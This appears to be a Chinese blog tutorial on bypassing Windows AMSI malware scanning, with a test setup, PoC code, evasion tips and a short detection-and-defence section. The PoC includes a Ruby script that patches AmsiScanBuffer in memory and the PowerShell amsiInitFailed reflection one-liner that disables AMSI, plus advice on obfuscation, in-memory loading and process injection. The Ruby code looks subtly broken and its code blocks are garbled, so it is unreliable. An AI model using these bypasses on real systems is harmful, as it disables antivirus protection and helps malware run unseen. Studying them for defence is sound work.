0x01 AMSI的反击战
Windows防御机制中的AMSI(防恶意软件扫描接口)是一个强大的内置功能,旨在检测和阻止恶意软件的执行。对于攻击者来说,AMSI是我们绕过和规避的主要目标之一。攻击者可以利用其机制上的弱点来实现免杀技术。本文将从一个渗透测试工程师的视角出发,深入探讨AMSI绕过的技术细节和实施步骤。
AMSI的工作原理
AMSI是如何工作的呢?在执行任何PowerShell脚本之前,AMSI都会对其进行扫描,并将结果传递给安装的防病毒软件。此机制能够实时捕获和阻止恶意代码执行。然而,AMSI并不是完美无缺的,它的实现中存在一些漏洞和可被利用的弱点。
- 脚本拦截:AMSI通过拦截脚本内容进行实时分析。
- 集成防病毒:它与防病毒软件紧密结合,提供实时保护。
- 广泛支持:不仅限于PowerShell,还支持其他脚本环境。
攻防双方都需要了解AMSI的工作机制,才能有效地绕过或加强防御。
逃脱猎手的陷阱:环境搭建
在实施任何攻击之前,构建一个测试环境是至关重要的。这里,我们将搭建一个简单的Windows环境用于测试AMSI绕过技术。这不仅能帮助我们验证攻击策略,还能确保在真实环境中实施技术时更为高效。

实验环境
- 操作系统:Windows 10/11
- 工具:Powershell 5.1及以上版本,Ruby和Shell脚本环境
- 目标软件:安装EDR或防病毒软件,以模拟真实的防御环境
环境配置
- 安装Ruby:确保Ruby环境已正确安装,使用
ruby -v命令验证。
- PowerShell设置:以管理员权限运行PowerShell,调整执行策略以允许执行脚本:
<pre><code class="language-shell"> Set-ExecutionPolicy RemoteSigned `
The Bypass Symphony: POC代码演绎
绕过AMSI的最常见方法之一是通过修改内存中的AMSI相关函数。我们将使用Ruby和Shell脚本来实现这一过程,提供完整的POC代码使其可复现。
Ruby代码实现
</code></pre>ruby
使用Ruby语言修改AMSI相关内存中的内容
require 'fiddle' require 'fiddle/import'
module Kernel32 extend Fiddle::Importer dlload 'kernel32.dll' extern 'void GetModuleHandleA(char)' extern 'void GetProcAddress(void, char*)' end
module AMSI extend Fiddle::Importer dlload 'amsi.dll' extern 'int AmsiScanBuffer(void, void, int, char, void)' end
def patch_amsi handle = Kernel32::GetModuleHandleA('amsi.dll') address = Kernel32::GetProcAddress(handle, 'AmsiScanBuffer')
修改内存中的函数来实现绕过
Fiddle::Pointer[address][0, 5] = "\x90\x90\x90\x90\x90" # 使用NOP指令填充 end
patch_amsi puts "AMSI已被成功绕过" <pre><code>
Shell脚本实现
</code></pre>shell
!/bin/bash
使用Shell脚本实现AMS绕过
echo "[INFO] 开始绕过AMSI" powershell -Command "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" echo "[INFO] AMSI绕过完成" `
幕后故事:绕过与免杀技巧
在实际攻击过程中,攻击者通常不会只依赖单一的技术来绕过AMSI。多重技术的结合可以提高成功率和隐蔽性。
技巧分享
- Payload混淆:通过代码混淆、字符串加密等技术,使脚本内容不易被识别。
- 内存加载:直接将恶意代码加载到内存中,规避文件层面的扫描。
- 动态分析对抗:使用反动态分析技术,使其难以在虚拟环境中被触发。
- 进程注入:将代码注入到可信进程中,利用其信任关系进行绕过。
猎手的反击:检测与防御措施
对于安全团队来说,了解绕过方法的同时,也要积极采取相应的检测与防御措施。
检测策略
- 异动监控:监控内存中的异常操作和进程行为。
- 异常日志分析:通过分析系统日志识别潜在的绕过行为。
- 实时应用控制:限制对关键API的访问,防止未经授权的修改。

防御增强
- 部署最新的防病毒软件和EDR,确保其能够识别和阻止绕过行为。
- 定期更新防御规则和策略,以应对新出现的绕过技术。
个人经验:攻防两端的思考
作为一名渗透测试工程师,不仅需要了解攻击技术,更需要从攻防两端进行反思和优化。

实战建议
- 保持好奇心:持续学习最新技术,提升自己的技术深度。
- 双重视角:从攻击者和防御者的角度双向学习,提高洞察力。
- 实践为王:多进行实战演练,以增强应对真实攻击场景的能力。
在技术飞速发展的今天,AMS绕过技术不断涌现,作为安全从业者,我们必须时刻保持警觉,不断学习和适应新的挑战。本文仅供合法授权的安全测试和研究使用,未经授权的攻击行为是违法的。